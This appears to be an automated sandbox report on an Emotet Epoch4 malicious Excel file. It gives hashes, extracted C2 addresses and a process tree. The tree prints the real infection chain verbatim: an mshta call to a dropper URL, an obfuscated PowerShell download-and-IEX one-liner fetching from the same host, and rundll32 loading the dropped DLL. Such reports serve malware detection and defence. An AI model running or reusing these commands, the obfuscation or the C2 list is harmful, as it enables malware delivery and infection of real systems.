emotet | 8a660efb814c2e353d99105c94b118140d7739bdb38a544915e8092933caa7dd

Analysis

max time kernel
120s
max time network
144s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 16:20

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General

Target
tmpx9ajjrpz.xls
Size 155KB
Sample220127-ts4rdsgbf8
SHA256 8a660efb814c2e353d99105c94b118140d7739bdb38a544915e8092933caa7dd
MD5 cc043de5605d382b608ab5504408d35a
SHA1 b979a926858ac6b7ff50a5aa71084e0db16d2fe9
SHA512 9ea37b9b585b43216251b70aa5b2bc4fb4e75b8b769e89ab67930d78d08f86e1e7025701cb8b7bf1608a39660655523b37e826456cf393bde2ae717ac9e9ee17
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2740	1528	cmd.exe	68

Blocklisted process makes network request 4 IoCs

flow	pid	Process
25	3276	mshta.exe
33	3660	powershell.exe
35	3660	powershell.exe
46	1404	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3604	rundll32.exe
3816	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hbdwmmjpmujrtru\xwibqbijevlaixl.guz	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3256	3276	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1528	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3660	powershell.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3256	WerFault.exe
3660	powershell.exe
3660	powershell.exe
1404	rundll32.exe
1404	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	3256	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 2740	1528	EXCEL.EXE	70
PID 1528 wrote to memory of 2740	1528	EXCEL.EXE	70
PID 2740 wrote to memory of 3276	2740	cmd.exe	72
PID 2740 wrote to memory of 3276	2740	cmd.exe	72
PID 3276 wrote to memory of 3660	3276	mshta.exe	74
PID 3276 wrote to memory of 3660	3276	mshta.exe	74
PID 3660 wrote to memory of 3608	3660	powershell.exe	78
PID 3660 wrote to memory of 3608	3660	powershell.exe	78
PID 3608 wrote to memory of 3604	3608	cmd.exe	79
PID 3608 wrote to memory of 3604	3608	cmd.exe	79
PID 3608 wrote to memory of 3604	3608	cmd.exe	79
PID 3604 wrote to memory of 3816	3604	rundll32.exe	80
PID 3604 wrote to memory of 3816	3604	rundll32.exe	80
PID 3604 wrote to memory of 3816	3604	rundll32.exe	80
PID 3816 wrote to memory of 1672	3816	rundll32.exe	81
PID 3816 wrote to memory of 1672	3816	rundll32.exe	81
PID 3816 wrote to memory of 1672	3816	rundll32.exe	81
PID 1672 wrote to memory of 1404	1672	rundll32.exe	82
PID 1672 wrote to memory of 1404	1672	rundll32.exe	82
PID 1672 wrote to memory of 1404	1672	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpx9ajjrpz.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3608
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3604
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3816
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hbdwmmjpmujrtru\xwibqbijevlaixl.guz",rcNZDqST
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1672
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hbdwmmjpmujrtru\xwibqbijevlaixl.guz",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1404
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3276 -s 1820
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1404-738-0x0000000004CB0000-0x0000000004CD5000-memory.dmp

Download

memory/1404-736-0x0000000001301000-0x0000000001322000-memory.dmp

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memory/1528-131-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

Download

memory/1528-774-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/1528-777-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-776-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-775-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-132-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

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memory/1528-119-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-120-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-118-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-124-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/1528-121-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/3660-446-0x0000020B9A3F0000-0x0000020B9A420000-memory.dmp

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memory/3660-365-0x0000020BB3250000-0x0000020BB32C6000-memory.dmp

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memory/3660-329-0x0000020BB2F30000-0x0000020BB2F6C000-memory.dmp

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memory/3660-279-0x0000020B9A3F0000-0x0000020B9A420000-memory.dmp

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memory/3660-278-0x0000020B9A3F0000-0x0000020B9A420000-memory.dmp

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memory/3660-277-0x0000020BB2B40000-0x0000020BB2B62000-memory.dmp

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